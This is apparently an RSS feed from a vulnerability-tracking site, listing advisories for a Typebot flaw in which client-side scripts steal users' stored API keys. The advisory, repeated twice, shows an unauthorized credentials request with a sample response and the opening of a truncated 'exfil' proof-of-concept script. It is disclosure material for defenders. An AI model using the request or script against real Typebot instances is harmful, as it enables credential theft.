<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 19:17:28 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-266339</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-266339</link>
      <description>EUVD-2026-266339</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-266339</guid>
    </item>
    <item>
      <title>fkie_cve-2025-65098</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-65098</link>
      <description>&lt;p&gt;Typebot is an open-source chatbot builder. In versions prior to 3.13.2, client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking &amp;#34;Run&amp;#34;, JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership. Version 3.13.2 fixes the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Typebot is an open-source chatbot builder. In versions prior to 3.13.2, client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking &amp;#34;Run&amp;#34;, JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership. Version 3.13.2 fixes the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-65098</guid>
    </item>
    <item>
      <title>GHSA-4xc5-wfwc-jw47 — Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-4xc5-wfwc-jw47</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @typebot.io/js&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking &amp;#34;Run&amp;#34;, JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The Script block with &amp;#34;Execute on client&amp;#34; enabled runs arbitrary JavaScript in the victim&amp;#39;s browser with their authenticated session. This allows API calls on their behalf.&lt;/p&gt;
&lt;p&gt;The `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:&lt;/p&gt;
&lt;p&gt;```http
GET /api/trpc/credentials.getCredentials?input={&amp;#34;json&amp;#34;:{&amp;#34;scope&amp;#34;:&amp;#34;user&amp;#34;,&amp;#34;credentialsId&amp;#34;:&amp;#34;cm6sofgv200085ms9d2qyvgwc&amp;#34;}}&lt;/p&gt;
&lt;p&gt;Response:
{
  &amp;#34;result&amp;#34;: {
    &amp;#34;data&amp;#34;: {
      &amp;#34;json&amp;#34;: {
        &amp;#34;name&amp;#34;: &amp;#34;My OpenAI Key&amp;#34;,
        &amp;#34;data&amp;#34;: { &amp;#34;apiKey&amp;#34;: &amp;#34;sk-proj-abc123...xyz789&amp;#34; }
      }
    }
  }
}
```&lt;/p&gt;
&lt;p&gt;The endpoint only checks if you&amp;#39;re authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.&lt;/p&gt;
&lt;p&gt;Vulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Here&amp;#39;s how to reproduce:&lt;/p&gt;
&lt;p&gt;1. Create a new typebot in the Builder
2. Add a Script block and enable &amp;#34;Execute on client&amp;#34;
3. Paste this code:&lt;/p&gt;
&lt;p&gt;```javascript
const exfil = async () =&amp;gt; {
  const data = { credentials: [] };&lt;/p&gt;
&lt;p&gt;const list = await fetch(
    &amp;#34;https://app.typebot.io/a…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @typebot.io/js&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking &amp;#34;Run&amp;#34;, JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The Script block with &amp;#34;Execute on client&amp;#34; enabled runs arbitrary JavaScript in the victim&amp;#39;s browser with their authenticated session. This allows API calls on their behalf.&lt;/p&gt;
&lt;p&gt;The `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:&lt;/p&gt;
&lt;p&gt;```http
GET /api/trpc/credentials.getCredentials?input={&amp;#34;json&amp;#34;:{&amp;#34;scope&amp;#34;:&amp;#34;user&amp;#34;,&amp;#34;credentialsId&amp;#34;:&amp;#34;cm6sofgv200085ms9d2qyvgwc&amp;#34;}}&lt;/p&gt;
&lt;p&gt;Response:
{
  &amp;#34;result&amp;#34;: {
    &amp;#34;data&amp;#34;: {
      &amp;#34;json&amp;#34;: {
        &amp;#34;name&amp;#34;: &amp;#34;My OpenAI Key&amp;#34;,
        &amp;#34;data&amp;#34;: { &amp;#34;apiKey&amp;#34;: &amp;#34;sk-proj-abc123...xyz789&amp;#34; }
      }
    }
  }
}
```&lt;/p&gt;
&lt;p&gt;The endpoint only checks if you&amp;#39;re authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.&lt;/p&gt;
&lt;p&gt;Vulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Here&amp;#39;s how to reproduce:&lt;/p&gt;
&lt;p&gt;1. Create a new typebot in the Builder
2. Add a Script block and enable &amp;#34;Execute on client&amp;#34;
3. Paste this code:&lt;/p&gt;
&lt;p&gt;```javascript
const exfil = async () =&amp;gt; {
  const data = { credentials: [] };&lt;/p&gt;
&lt;p&gt;const list = await fetch(
    &amp;#34;https://app.typebot.io/a…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-4xc5-wfwc-jw47</guid>
    </item>
  </channel>
</rss>
